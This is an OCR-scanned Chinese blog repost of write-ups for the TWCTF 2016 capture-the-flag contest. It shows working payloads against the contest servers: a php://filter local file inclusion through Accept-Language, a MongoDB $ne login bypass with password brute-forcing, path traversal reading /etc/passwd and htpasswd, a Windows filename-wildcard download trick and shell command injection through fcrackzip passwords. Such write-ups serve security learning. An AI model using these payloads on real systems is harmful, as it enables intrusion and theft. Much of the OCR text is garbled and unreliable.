2/ Tokyo Westerns / MMA CTF 2nd 2016 £5%: 5 /&45
TWCTF 2016 WriteUp

weixin 30292745 F 2016-09-05 21:24:00 KA 165 e
JCEHRZ: php shell json

JRSCEEEE:  hitpy//www.cnblogs.con/go2bed/p/5841682.html
KA

WFKIE#S I T Tokyo Westerns / MMA CTF 2nd 2016 (TWCTF) 58, RERUERRERTTELLE N EE
BItk, ARBSEHR —M—FRAEEAM, HERAMEREFERBEXP— THKKRL. SZREBERIR
BiBW, EaMAFEI—F.

PATF R R M R A JLIE NS, KB EEWebfMisc, AZMNEES%.
*xF:

T3IpZ21uYWwgQXJ0aWNsZTogd3d3LmNuYmxvZ3MuY29tL2dvMmI1ZC8

Global Page

Web Warmup
Welcome to TokyoWesterns' CTF!
http://globalpage.chal.ctf.westerns.tokyo/

XA RS AR E—F, BT

Warning: include(tokyo/zh-CN.php): failed to open stream: No such file or directory in
/var/www/globalpage/index.php on line 41

Warning: include(): Failed opening 'ctf/zh-CN.php' for inclusion
(include_path=".:/usr/share/php:/usr/share/pear') in /var/www/globalpage/index.php on line 41

BREHTTP Request Header i) Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 4> H 4= b SCAE A4 R TR o
flagfE/flag.php. BFHEAFHZ, /[ctf fl ftokyo, BTLAFIHF.


https://blog.csdn.net/weixin_30292745
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=shell&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=json&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/go2bed/p/5841682.html
http://globalpage.chal.ctf.westerns.tokyo/
http://globalpage.chal.ctf.westerns.tokyo/

< C | @ globalpage.chal.ctf.westerns.tokyo/ctf/

Index of /ctf

Hame Last modified Size Description

aParent Directory -

@ cs. php 2016-05-02 25:46 517
@ da. php 2016-05-02 25:46 436
@ de. php 2016-05-02 25:46 281
@ en. php 2016-05-02 25:46 532
@ es. php 2016-05-02 25:46 789
@ fi.php 2016-05-02 25:46 161

2016-09-02 23:46 702
2016-09-02 23:46 2. 3K
2016-09-02 23:46 403
2016-09-02 23:46 566
2016-09-02 23:46 96
2016-09-02 23:46 366
2016-09-02 23:46 15
2016-09-02 23:46 338
2016-09-02 23:46 539
2016-09-02 23:46 431

o
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Apnache /2 4 7 (Uhwitu) Sarvar at gilobaipage. chal. ctf, wastarns. takyva Fart 5O

XHt A http://globalpage.chal.ctf.westerns.tokyo/?page=ctf #$_GET['page'] /%* H F*, Accept-Language
MBS REERTHXHBE -

HE ViR /Mag.php F1 ] /?page=ctf Accept-Language: ../flag FH&EHH,
BE—HRM:  [?page=to.klyo HRIEH B, UAS_GET[page Mk T . / &5, FHENEREHM/ .

2 —BZK, MARAKIAMEE B Eminclude()BETF 468872 H BB HARKRT, A2 5t AT LAE A php://i X

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex HTMLIRender]

GET /?page=php: HTTPA .1 i HTTP/A 1 200 OK
Host: globalpage.chal .ctf westerns tokyo r Date: Sat, 03 Sep 2016 02:36:02 GMT
Upgrade-Insecure-Requests: 1 Server: Apache/2.4.7 (Ubuntu)

User-Agert: Mozillais.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKitig01 2.7 (KHTML, like Gecka) Version/9.0.1 Safarifé01.2.7 H-Powered-By: PHPIS.S 9-1uburtud 19

Accept: textihtml, licationfxhtmi+xml licationbamlg=0.9 imag bp i g=0.8 “ary: Accept-Encoding

Referer: hitp:iglobalpage chal ctf westerns tokyo/! Cortent-Length: 223

Accept-Encoding: gzip, deflate, sdch Connection: close

Accept-Language: !filter.ﬂ'ead=con\rert.base64-encode.fresource=f\ag Cortent-Type: textihtml vy 2nalogs comigozaosd’ Eg)

Connection: close
<lfoctype htmi=
<htmi=
<head=
=meta charset=utf-g=
<title=Global Page=<fitle>
<style=
i {
direction: rtl;
}
<style=
<head=

<hodly=
<p=

JGZsYWegl iVFdDVEZ 3VuZF9zaWIwhGWWTEZ HSITCg==</p=
=hody=
=html=

base64f#RLEI ]



FIFERI 7%, AR Lk Eindex.php YRS

<?php
ini_set('display_errors', 1);
include "flag.php";
?>
<!doctype html>
<html>
<head>
<meta charset=utf-8>
<title>Global Page</title>
<style>
.rtl {
direction: rtl;
}
</style>
</head>

<body>
<?php
$dir = "";
if(isset($_GET['page'])) {
$dir = str_replace(['.', /'], '', $_GET['page']);

if(empty($dir)) {
?>
<ul>
<li><a href="/?page=tokyo">Tokyo</a></1i>
<li><del>Westerns</del></1i>
<li><a href="/?page=ctf">CTF</a></1li>
</ul>
<?php
¥
else {
foreach(explode(",", $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) {
$1 = trim(explode(";", $lang)[@]);
?>
<p<?=($1l==="he')?" class=rtl":""?>>
<?php
include "$dir/$1.php";
?>
</p>
<?php
}
}
?>
</body>
</html>

Rescue Data 1: deadnas

Forensic Warmup

Problem



Today, our 3-disk NAS has failed. Please recover flag.
deadnas.7z

Hint 1: The NAS used RAID.
Hint 2: RAID-5

X—RRYA T3/ NREE 85 . Disk0 FDisk2 #2512K, TiDisk1 R Fl—H)iE:

crashed :-(

RIFFIE%E ER A E, TFLNDIsk1584 % EH, FADiskOMDisk2A—4E, A NDisk0FIDisk2F AN 40 B T Raid0
ZREIRT, HBEEANMEREFI—EREHELR. BERATHANHint, RAID-5, HXRBEEEA T B3N RE, Disk13F 7T
A Bx ()

T T HE 4045 B P2 3k DiskGenius. IERfE T

R R S it RES HILRES
Ejvoo: dizk0. img(0. SOME) 512, OEE i 1023

o B IEE

EvDt: di ke, imgiD. GOME) 512, OEE 0 1023

SR || EDE SMEGRE | @i | mTEEE bl

RATDZER: | RATIE A HE v
ol |1z Eurtes W
FHE: 0
www.cnblogs.com/gozbed/ EE] =

WR—IHIEZER T ZMHRAD-SRBMBAN, FERAMEIBREAT, BEETAEHEESBEIEREL IR
B EHWEHF.

T B RS, 3FFO 2] 4000 Z[E1A B &4 5, HBIERK/MRKIN0x4000 /1024 = 16K. — IRl =iXK
S12KE M BRI . TRAKIA/NNANS12B, X— m 2R AT 68t AT AN 1633 5] 4 48 25 H & R

Q0003FBO 7C 7C 20 22 70 20 3D 3D 20 27 5C 27 27 29 0R 20 || *p == '\'').
Q00003FCO 20 20 20 20 20 71 20 3D 20 2R 70 2C 20 2B 2B 70 q = *p, ++p
Q00003FDO 3B OR OA 20 20 20 20 &6 €F 72 28 3B 3B 2% 0A 20 .. for(::).
Q00003FEQ 20 20 20 7B 0A 20 20 20 20 20 20 6% &6E 74 20 b6 {. int £

Q0003FF0 &F 75 6E &4 20 3D 20 30 3B ORA OA 20 20 20 20 20 ound = 0:..

00004000 2B 7D OF 2C 5B 22 0A 50 43 4E 53 ?g 53 5C 44 48 +}.,[".PCHNSSS5\DH
00004010 1D OE 00 5& 2B 50 29 48 €2 51 495 54 08 07 14 00 ...Z+F)HRQIT....
00004020 41 43 54 4D 44 Oc 08 03 €D &1 73 6E 05 0% 47 76 ACTHMD...masn..Gv
00004030 00 50 32 5F 29 00 4E 55 4F 55 52 78 46 53 TE 43 .P2_) .NUQURXFY~I
00004040 4F 4E OC 00 46 41 49 47 74 13 54 TF &4 54 00 1D ON..FAIGL.T.dT..
00004050 00 10 1B 63 46 00 SB 55 4B 04 40 &9 00 49 4E 54 ...cF.[UK.@i.INT
00004060 0O 4C 4F 4E 05 2D OA 11 1F 52 o5 64 1B 24 00 00 .LON.-...Red.*..
00004070 53 54 59 BE 13 4F 2R 4F 50 54 495 12 4F S5TY".0*0FTI.d~LO

64 ZA 4C
00004080 4E 47 0D 02 11 12 30 &6 2& 1D 00 06""?&""?8?1%}0%& Caﬁj"ﬂo%‘%df I—%“ﬁ]
RGN =. CQIMY LIFRE

P LT Y Ar Aar- reoAC Ar AA AA Fe CT An AT

M2 & Ja M5k flag:



https://twctf7qygt6ujk.azureedge.net/uploads/deadnas.7z-b1651b1230b507235cbb9c6f7e98ccc437f5f3675d02a5e70951e2cbcf9df407
https://en.wikipedia.org/wiki/RAID_5#RAID_5

1.0

e EERES e DEE#:zus www.enblogs.com/gozbed/ RE!

Get the admin password!

Web
Problem

Get the admin password!
http://gap.chal.ctf.westerns.tokyo/

You can use test:test

BAZFSQUEANBA — KRB, WENBRIXHFRE, AT XPathFELFMLS, LR RA/EBI A &ZMongoDB?

Request

J Raw T Params I Headers I Hex ]

flag.jpg =
#” SR SL RS R AT o

Response

(e resors [ ex

POST Nogin php HTTPM A

Host: gap chal ctf westerns tokyo

Content-Length: 29

Cache-Control max-age=0

Origin: http: fgap chal ctf westerns tokyo

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1)
AppleWebKit/S01.2.7 (KHTML, like Gecke) Version/9.0.1 Safarifé0l 2.7
Content-Type: application/x-www-form-urlencoded

Accept:

texthtml application/xhtmi-xml application/xml,g=0.9 image/webp ** g=0.8
Referer: hitp:/igap.chal ctf westerns tokyologin.php
Accept-Encoding: gzip, deflate

Accept-Language: zh-CH zh;g=0.8 en;g=08

Cookie: PHPSESSID=uSndgk7ecphd99ngStdesdduac3

Connection: close

user=admin&password[$ne]=test

nZyue, i 3 /& MongoDB.

e

HTTPM .1 302 Found

Date: Sat, 03 Sep 2016 13:34:56 GMT
Server: Apachef2 4.7 (Ubuntu)
¥-Powered-By: PHPIS 5 9-1uburtud 19
Expires: Thu, 19 Mov 1981 08:52:00 GMT
Cache-Control no-store, no-cache, must-re:
Pragma: no-cache

Location: /

Content-Length: O

Connection: close

Content-Type: texthtml


http://gap.chal.ctf.westerns.tokyo/

<puuay>
<dliv id="layout"=
weliv id="main"s www.cnblogs.com/fgozbed/ B

You are admin.<br/>
The flag is admin password. Admin password format is "TWCTF...}". <hbr=
<a href="logout php">Log out</z>

FEEN, THAAN . ABERXABZAANT, SRWE:

========== RESTART: www.cnblogs.com/gozbed/ Bl gethdminPwd, py ==========

TWCTF |

TWCTF {w

TWCTF {wa

TWCTF {was=

TWCTF {wazs

TWCTF {wazsh

TWCTF {waszsho

TWCTF {wazshoi

TWCTF {wazzhoi!

TWCTF {wasshoi! =

TWCTF {wazshoi! su

TWCTF {wazshoi! sum

TWCTF {wazshoi! summ

TWCTF {wazshoi! summe

TWCTF {wasshoi! summer

TWCTF {wasshoi! summer

TWCTF {wazshoi! summer_f

TWCTF {wasshoi! summer_fe

TWCTF {wazshoi! summer_fes

TWCTF {wasshoi! summer_fest
TWCTF {wasshoi! summer_festi
TWCTF {wasshoi! summer _festiv
TWCTF {wasshoi! summer_festiva
TWCTF {wasshoi! summer _festiwal
TWCTF {wasshoi! summer_festival!
TWCTF fwazshoi! summer festivall |
TWCTF {wasshoi! summer_festival!}

finizh
ey =
Lm: 55 Col: 31
Poems
Web
Problem

Read the first poem.
http://poems.chal.ctf.westerns.tokyo
poems.7z

Server: Ubuntu 16.04 + Apache2
Hint1:(2016-09-04 11:05 UTC)

e Password cracking is unnecessary.

Hint2:(2016-09-04 17:02 UTC)

¢ You can access to admin page without user id or password.

REIRAER, EBTEhintFIRHRB B R T, WREBIWIT L. EEM 2 T Apacheffhtpasswdsiid, URLEE
Fo —IHARWFIE T —MERXMF (BT &RXBMlist.bd) LERF, FEREMTEEE T SH.

BEA TN, REESLMSIMELSR. 25 HE7E/src/routes.php.
FEMRFH P RIEFIPoemiZ i & :


http://poems.chal.ctf.westerns.tokyo/
https://twctf7qygt6ujk.azureedge.net/uploads/poems.7z-aec92a38c53d1d2e866c05a75e30732d1386879a6070ec953fa50f8df010cd99

& i%Knamefpoemijson_encode() f& 77 7E/poems/data/d, T4 ABENLII163EE] B SCiE b . SOtk 42 &b i
FE1E/poems/list.txt. f5 EH B Ar RIS —fPoem. BT XL ANAIFikn, 2% ieElist.txt,

AIEH Jadmin, PHPRIGHEAEMBITY , (ERSZRRT H KRR ERE . X2 EApacheH B EK.

func

(strpos(%id,

false;

func

renderer

‘/poems ', fur
$request

$this

$app
$poem_id
$poem_path

(check poem_id($poem_id)

$response->getBody()
$response;
1
S
$poem
($poem
$response g y(
$response;

file

(json_d
$response
$response;

$this->renderer

check_poem id()fRiFE T EiEi@id GET /poems?p=../list.txt $£H list.txt. #R 70 _E B Fx T check _poem id()F#%
X $poem idiEAT HAb AR LS, FkAT DURBUE R H A SO CREgRjsonts =, B <4 4 1EpoemsC g &

)

BLHN /etc/passwd

J Raw I Params I Headers I Hex ]

contents($poem_path
/($poem_path))

ion check_poem_id($id)

"list.txt")

write("Error™);

write("Error™);

) A

write("Invalid json, ple

render($response,

"fdata/’

$poem_id) ;

r
L

‘poem.phtml’, json_decode($poem, t

(e resors [ ex

contact administrator\nContent:

rue));

GET lpoems?p=_J1 [ 1 1 i Jetcihasswd HTTPA A
Host: poems chal ctf westerns tokyo
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5 .0 (Macintosh; Intel Mac OS5 X 10_11_1)
AppleWebKit/S01 2.7 (KHTML, like Gecko) Version/9.0 1 Safarils0q 2.7

Accept:

texthtml applicationfxhtml+xml applicationfzmlg=0 9 image/webp **q=

08

Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CH zh;g=0.8 en;g=06
Cookie: PHPSESSID=evv1 DeuoZbjldtnnGddraubimrs
Connection: close
www.cnblogs.comfgozbed/ B

EEL /ete/passwd

e

HTTPH .1 200 OK

Date: Sun, 04 Sep 2016 08:32:03 GMT

Server: Apacheaf2 418 (Uburitu)

Expires: Thu, 19 Mov 1981 08:52:00 GMT
Cache-Control no-store, no-cache, must-revalidate
Pragma: no-cache

Yary: Accept-Encoding

Content-Length: 1754

Connection: close

Content-Type: texthitml, charset=UTF-8

Invalid json, please contact administrator
Content: rootac0:0:root:root:bin/bash
daemon:x:1:1:daemon:/usrisbin:/usr/shin/nologin
hin:x:2:2:bin:/bin:/usr/sbhininologin
sysiidisysidev:iusri/shin/nologin
sync:x:A65534:sync:/bin:/bin/sync
games:x:5:60:games:usrigames:fusrisbin/nologin
man:x:6:12:man:/var icache/man:/usr/sbin/nologin
Ip:x:T:T:lp:var ispoolipd:/iusr/shin/nologin
mail:x:8:8:mail:var/mail:/usr/sbin/nologin

3 _ECprid/adminZ G 19 /%, 2E/etc/apache2/sites-enabled/000-default.conf

$poem) ;




Request

_[ RawT Params T Headers T Hex ]

Response

[ eaders T v |

GET
J‘poems?p=..I...l'..I...l'..I...l'etc.l’apache2Isites-enab|ed;ﬂﬂﬂ-default.confl
HTTPH A

Host: poems .chal.ctf westerns tokyo

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10_11_1)
AppleWebKit/S01.2.7 (KHTML, like Gecke) Version/9.0.1 Safarifé0l 2.7
Accept:

texthtml application/xhtmi+xml application/xml, g=0.9 image/webp ** q=
0.8

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CH zh;g=0.8 en;g=08

Cookie: PHPSESSID=evv1 DeuoZbjldtnnEddrauhmra

Connection: close

www.cnblogs.com/gozbed/ EE]

LH /etc/apache2/htpasswd , adminZi% &MDSHIELF), 22 iRBEAR T 18 K A 8] B 28t 2 X P A i o A 5 UL o

Request

_[ RawT Params T Headers T Hex ]

e

Vary: Accept-Encoding
Content-Length: 452

Connection: close

Content-Type: texthtml, charset=UTF-8

Invalid json, please contact administrator
Content: <V/irtualHost *80=
ServerAdmin admin@localhost
DocumentRoot /srvipoem/public

=Directary lervipoemipublic=
AllowOverride All
Require all granted

=/Directory=

=Location fadmin=
AuthUserFile htpasswd
AuthHame "Admin™
AuthType Basic

redquire valid-user

Response

[ eaders T v |

GET J‘poems?p=...l'..I...l'..I..I..Ietciapache2|htpasswd HTTPM A

Host: poems .chal.ctf westerns tokyo

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10_11_1)
AppleWebKit/S01.2.7 (KHTML, like Gecke) Version/9.0.1 Safarifé0l 2.7
Accept:

texthtml application/xhtmi+xml application/xml, g=0.9 image/webp ** q=
0.8

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CH zh;g=0.8 en;g=08

Cookie: PHPSESSID=evv1 DeuoZbjldtnnEddrauhmra

Connection: close

www.cnblogs.comfgozbed/ B

MR X RIT 4% B Sed /admin K.

e

HTTPH .1 200 0K

Date: Sun, 04 Sep 2016 05:47:39 GMT
Server: Apache/2.4.15 (Ubuntu)
Expires: Thu, 19 Mov 1981 08:52:00 GMT

Cache-Control. no-store, no-cache, must-revalidate

Pragma: no-cache

Vary: Accept-Encoding
Content-Length: 96

Connection: close

Content-Type: texthtml, charset=UTF-8

Invalid json, please contact administrator

Content: admin:$apr1$y.Fx3JsW$21Hp/4EtmaalwTpXbHYCV1

BE—FJG, AT . htaccess URLEE, MR,

RewriteCond %{REQUEST FILENAME} !-f
RewriteRule ~ index.php [QSA,L]

Z 8K V5 | /index.php/admin,

BPEIAA 35 1) /admin IR, [FIB)Seid Apache ) %15



Request

_[ RawT Params T Headers T Hex ]

Response

_[ RawT Headers T Hex T HTML T Render ]

GET nndex.phpiadmin|HTTP.l‘1 A " HTTPH .1 200 0K
Host: poems .chal.ctf westerns tokyo r Date: Sun, 04 Sep 2016 09:19:56 GMT
Upgrade-Insecure-Requests: 1 Server: Apache/2.4.15 (Ubuntu)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10_11_1) Expires: Thu, 19 Mov 1981 08:52:00 GMT
AppleWebKit/S01.2.7 (KHTML, like Gecke) Version/9.0.1 Safarifé0l 2.7 Cache-Control. no-store, no-cache, must-revalidate
Accept: Pragma: no-cache
texthtml application/xhtmi+xml application/xml, g=0.9 image/webp ** q= Vary: Accept-Encoding
IR} Content-Length: 2522
Accept-Encoding: gzip, deflate, sdch Connection: close
Accept-Language: zh-CH zh;g=0.8 en;g=08 Content-Type: texthtml, charset=UTF-8
Cookie: PHPSESSID=evv1 DeuoZbjldtnnEddrauhmra
Connection: close =IDOCTYPE html=
www.cnblogs.com/gozhed/ FEE] =html=
=head=
=meta charset="utf-3"/>
<title=Poems=title=
=link href="skyblue min.css' rel="stylesheet' type="e:
=head=
=hody=
<div class="container"=
<h3-List Poems</h3=
<ul=
<li=-8T5fF3d8ccBI755aT863 7999 ceIF1E
<li-3e05aeTT66864ea52cT7535e3dibed3th
H i flag:
Request Response
J RawT Params I Headers I Hex ] [ Raw I Headers I Hex W
GET ipoems?p=875ff3cl8cc89755aT86379d9d9cea 118 HTTPM 1 "
Host: poems chal ctf westerns tokyo r P{)ems

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5 .0 (Macintosh; Intel Mac OS5 X 10_11_1)
AppleWebKit/B01 2.7 (KHTML, like Gecko) YWersion/9.0 1 Safarils0q 2.7
Accept:

texthtml applicationfxhtml+xml applicationfzmlg=0 9 image/webp **q=
08

Accept-Encoding: gzip, deflate, sdch

Apcent-l anouans 7h-CH shro=0 & ena=0 &

BIGER, XIEBIRS 805 WEAEE SO SRR TR R R T MR ERR, kR E T ADE R,

BRRX AR

Rotten Uploader

Web

Problem
Find the secret file.
http://rup.chal.ctf.westerns.tokyo/

Hint1 (2016/09/04 16:31)

You can post a poem! Anyo:
Snow White's Poem

As snow white, as lighten st
TWCTF{ Memorysart}

¢ The files/directories on the DOCUMENT_ROQOT are below four.

e download.php

o file_list.php

¢ index.php

¢ uploads(directory)


http://rup.chal.ctf.westerns.tokyo/

e The number of files in the DOCUMENT_ROOQT/uploads is 5. The directory have "index.html".
¢ Youdon't need scan tools.

X—BHFAREERERE, S/ uploads/ B TH A AN X444 ToiE Pl 1 U4 & flag. download.php 7] BL R #4E
BXfE (B&Tfile list.php) o AR FEH—HERFG:

download.php

<?php
header("Content-Type: application/octet-stream");
if(stripos($_GET['f"'], 'file_list') !== FALSE) die();

readfile('uploads/' . $_GET['f']); // safe_dir is enabled.

?>

BEAARADBAGERHSUE, Tk THREE file_list'H .

B Hindex.php, & Iflag>ofi 3 A4 42 sl fEfile_list.phpH . index.php &= 7313

4. test.cpp, test.c, test.rb.

REAEH R, FOVEATHE, WA T —BELR. F%F, KIEAEUR, FH4EHstripos()?

Request

J RawT Params I Headers I Hex ]

Response

(e resaors | ex

GET idownload php?f=TEST .c HTTPH 1

Host: rup chal ctf westerns tokyo

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5 .0 (Macintosh; Intel Mac OS5 X 10_11_1)
AppleWebKit/S01 2.7 (KHTML, like Gecko) Version/9.0 1 Safarils0q 2.7
Accept:

texthtml applicationRtmb-xml application/zmlg=0 9 image/fwebp **g=0 8
Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CH zh;g=0.8 en;g=06

Connection: close

fduther: http:/fwww. enblogs. com/gofbeds

HTTP/M A1 200 OK

Date: Sun, 04 Sep 2016 09:55:15 GMT
Server: Apache/2.4 20
¥-Powered-By: PHRT 0T
Corntent-Length: 74

Connection: close

Content-Type: applicationfoctet-stream

#include <stdio h=

irt maing) {
printf("Hello waorldn");
return C;

¥

KANEEMAGUR. FERRANMWindows R4, BT #EHRILERE K.

W AE FHHEAMS-DOS 198358 S - et .

Request

_[ RawT Params T Headers T Hex ]

Response

e essers T vex )

GET fdownload php?f=./FILE_L~1 PHP HTTP/1 .1

Host: rup.chal ctf westerns tokyo

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10_11_1)
AppleWebKit/S01.2.7 (KHTML, like Gecke) Version/9.0.1 Safarifé0l 2.7
Accept:

texthtml application/xhtmi-xml application/xml,g=0.9 image/webp ** g=0.8
Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CH zh;g=0.8 en;g=0 8

Connection: close

Author: http://fwww._cnblogs.com/go2bed/

BERRRART .

HTTP/M .1 200 OK

Date: Sun, 04 Sep 2016 10:09:15 GMT
Server: Apache/2.4.20
¥-Powered-By: PHP/7.0.7
Content-Length: 260

Connection: close

Content-Type: applicationfoctet-stream

=7php

Ffiles =
[FALSE, 1, test cpp', 1135, test cpp'],
[FALSE, 2, test.c', 74, ‘test.c'],

[TRUE, 3, "flag_cf2e41 fShb7ciaddh947 co58644457 Sadebbfedal?,

[FALSE, 4, testrb', 1446, testrb]
I



Request Response

_[ RawT Params T Headers T Hex ] J Raw T Headers T Hex ]

GET idownload php?f=flag_ci2ed fSbbTc8d4b94?095864445?88d888feﬂdf| A HTTP/M .1 200 OK

HTTPH A ™ Date: Sun, 04 Sep 2016 10:09:32 GMT
Host: rup.chal ctf westerns tokyo Server: Apache/2.4.20
Upgrade-Insecure-Requests: 1 ¥-Powered-By: PHP/7.0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10_11_1) Content-Length: 18
AppleWebKit/S01.2.7 (KHTML, like Gecke) Version/9.0.1 Safarifé0l 2.7 Connection: close

Accept: Content-Type: applicationfoctet-stream
texthtml application/xhtmi-xml application/xml,g=0.9 image/webp ** g=0.8

Accept-Encoding: gzip, deflate, sdch TWCTF{Hotto_Smile }
Accept-Language: zh-CH zh;g=0.8 en;g=08

Connection: close

20164E9H 18H & #r
TR EZ I Writeup, RIT —Fh & IR IG5 M FRE::

GET /download.php?f=F< HTTP/1.1

XAEH] DLE T 8P LY R4 .

LRI, EWindowsRFH, < HFSALUREY RAK 2, MRAKEY REL (BF.) BTREE
B

il 40tk H % T4 index.php

D:\www\test>type "index<"

RERA B E B3

D:\www\test>type "index<"

RGRA B E B

D:\www\test>type "index.<"
<?php
readfile('./FL<");

D:\www\test>type "index.p<"
<?php
readfile('./FL<");

D:\www\test>type "index.php<"
<?php

readfile('./FL<");
D:\www\test>type "index.php<<<"

<?php
readfile('./FL<");

SR AR R T XA ITE. ARARED.

glance

Misc

Problem

| saw this through a gap of the door on a train.


https://twctf7qygt6ujk.azureedge.net/uploads/glance.gif-994bd85cd3c2f37c1cd1d520a506abbbe459ac7dc2fedd39bf04c99a04abcb9f

WAXERNXERE T, BEREEGEEN. EEMATLABREUTA B i, 57K INHEER S ANHTMUSHE
<img>#3%E (i HMET)

C | E_http:,’fmw_cnblogacomfgo2bedfglance;‘show.html

2016FE9H16H B Hr: WL T —FFiEL-B/\ R AR VE, 4SRRI EE
ZIP Cracker

Web Misc
Problem

here is useful tool for hackers!
http://zipcracker.chal.ctf.westerns.tokyo/

X—BlEX —FRRMSEN, RMHE T EREEBEENERI. F T E5M

Writeup Chttps://gist.github.com/baronpig/f6f2a4db993e951cdeQee92db15fc953

, https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/) # &R EI: LA %kuse unzip
i, ferackzip-1.0% MKW e E4E /DA S 5 EAN . IR —EHEZ R SEAN SRR D 7 it
B, R K#fcrackzip-1.00 E# HF AR —N—NBIBMFE, BREAAEBEN AT K ZELHRA 2R ERSE
Ao


http://zipcracker.chal.ctf.westerns.tokyo/
https://gist.github.com/baronpig/f6f2a4db993e951cde9ee92db15fc953
https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/

PRIBHE AR R, indexphp FAEEMME (indexphp.swp) GFIE, PFRAHARRS) . BxXR
Google T i& [al 745 (Possible password: paSSwOrd () #1 Password Found ! pw ==p@sswOrd) 7 & iR %
XA FHunzip® g, i T ferackzip-1.0.

MRER—NEHRE: BREXH2 EMTIRZXE, RAMaLHAKZ tmp_name, BAFAREEN.
Flvim recovery .index.php.swpZ J5, FEZHKALL T

<?php
if(lempty($_FILES['zip']['tmp_name']) and 'empty($_FILES['dict']['tmp_name'])) {
if(max($_FILES['zip']['size'], $_FILES['dict']['size']) <= 1024*1024) {
// Do you remember 430387 ?
$zip = $_FILES['zip']['tmp_name'];
$dict = $_FILES['dict']['tmp_name'];

$option = "-D -p $dict";
if(isset($_POST['unzip'])) {
$option = "-u ".$option;

}

$cmd = "timeout 3 ./fcrackzip-1.0/fcrackzip $option $zip";
$res = shell _exec($cmd);

}
else {
$res = 'file is too large.';
}
}
else {
$res = 'file is missing';
}
?>

R B E R R E T ferackzip HIUEAS:

// main.c
int REGPARAM
check_unzip (const char *pw)

{
char buff[1024];

int status;

sprintf (buff, "unzip -qqtP \"%s\" %s " DEVNULL, pw, file_path[0]);
status = system (buff);

#undef REDIR

if (status == EXIT_SUCCESS)
{

exit (EXIT_SUCCESS);
}

return !status;

}

A WK & £ FEXT ferackzip /8 -u S8k}, ferackzip <8 unzip $AF AT RE RSB RY, I6F A B P Eshelldy
L PR BRI AT S TEN



R W& — AN ERN "ls;echo” K Zip3CE, Aikunzip 458 A:

34 <button type="submit” class="succezz button”:Crack</button>

35 <fforms

36 <prlnlip 6.00 of 20 April 2009, by Debian. Original by Info-IIF.

37

38 Usage: wnzip [FI] [-opts[modifiers]] filel.zip] [list] [~x =xlist] [-d exdir]
39 Default action iz to extract files in list, ewxcept thoze in xlist, to exdir;
0 filel.zip] may be a wildcard. -Z =» ZipInfo mode (“unzip -I° for usage).
41

42 -p extract files to pipe. no messages -1 list files (short format)

43 —-f freshen existing files, create none -t test compressed archive data
44 —u updste files., create if neceszary -z display archive comment only
45 -y list werbosely/show version info =T timestamp archive to latest

46 -x exclude files that follow (im xlist) -d extract files into exdir
47 modifiers:

48 -n never owverwrite existing files -3 quiet mode (—gqq =» gquieter)
49 -0 overwrite files WITHOUT prompting —a auto—convert any text files
50 -j juk paths (do not make directories) -—aa treat ALL files as text

51 I use ezcapes for all non—A3CIT Thicode -UU ignore any Urmdcode fields
52 —C match filenames caseinsensitively -L make (some) names lowercase
53 -¥ restore UIDSGID info -V retain VNS wversion mmbers
54 -K keep setuidfsetgid/tacky permizszionz -M pipe through “more” pager

55 -0 CHARSET specify a character encoding for D05, Windows and 0572 archives
56 -1 CHARSET =pecify a character encoding for UNIX and other archives

58 See "wumzip —hh" or wnzip. txt for more help.  Bxamples:

g unzip datal —x joe  =r extract all files except joe from zipfile datal.zip

0 unzip -p foo | more = send comtentz of foo.zip via pipe imto program more
unzip —fo foo Eeadle =r quietly replace existing ReadMe if archive file newer

forackzip—1.0

forackzip—l.0.tar. gz

flag. chp

index. php

ziporacker. caz

S P LN

= & U

w0 e

PASSWCED FOUMD! !'!': pw = ";1s;echo”
<o

Ear BN

= Chh Ch O Ch O O O O O

F—Munzip BT XHLSEFTUERTHREE.
LB/ —ANEIA "cat flag.php;# Mzip, SRITF

wn

52 See "wnzip -hh” or wmzip. txt for more help. Original: http:/fwwr. cnblogs. comfzoZ2beds
59 unzip datal —x joe  =» extract all filez except joe from zipfile datal.zip

60 unzip -p foo | more = send contents of foo. zip via pipe imto program more

61 unzip —fo foo ReadWle => quietly replace existing FeadMe if archiwve file newer

62 <Yphp

63 §flag = "TWCTF{20-bug—430387-carmot—deal-files—with—special—chars. patch: escape pwl ™ ;
64

65

66 | PASCWORD FOUND! !0 pw = " ;cat flag. php#

67 | </p»

68 <fdiv

69 | £/div>

70 <Ay

A 3lflag: TWCTF{20-bug-430387-cannot-deal-files-with-special-chars.patch:escape_pw}
7T, BIHEPHPIRISIR 243038748 1)=& https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=430387;msg=19

Debian Bug report logs - #430387
[PATCH] “fcrackzip --use-unzip' cannot deal with file names containing a single quote

W R T B https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/ FKIIA, T A~“%
W


https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=430387;msg=19
mailto:430387@bugs.debian.org
https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/

$ python zipcracker.py

=>=> Uname -a
Linux twctfzipcracker 4.4.0-36-generic #55~14.04.1-Ubuntu SMP Fri Aug 12 11:49:30 UT
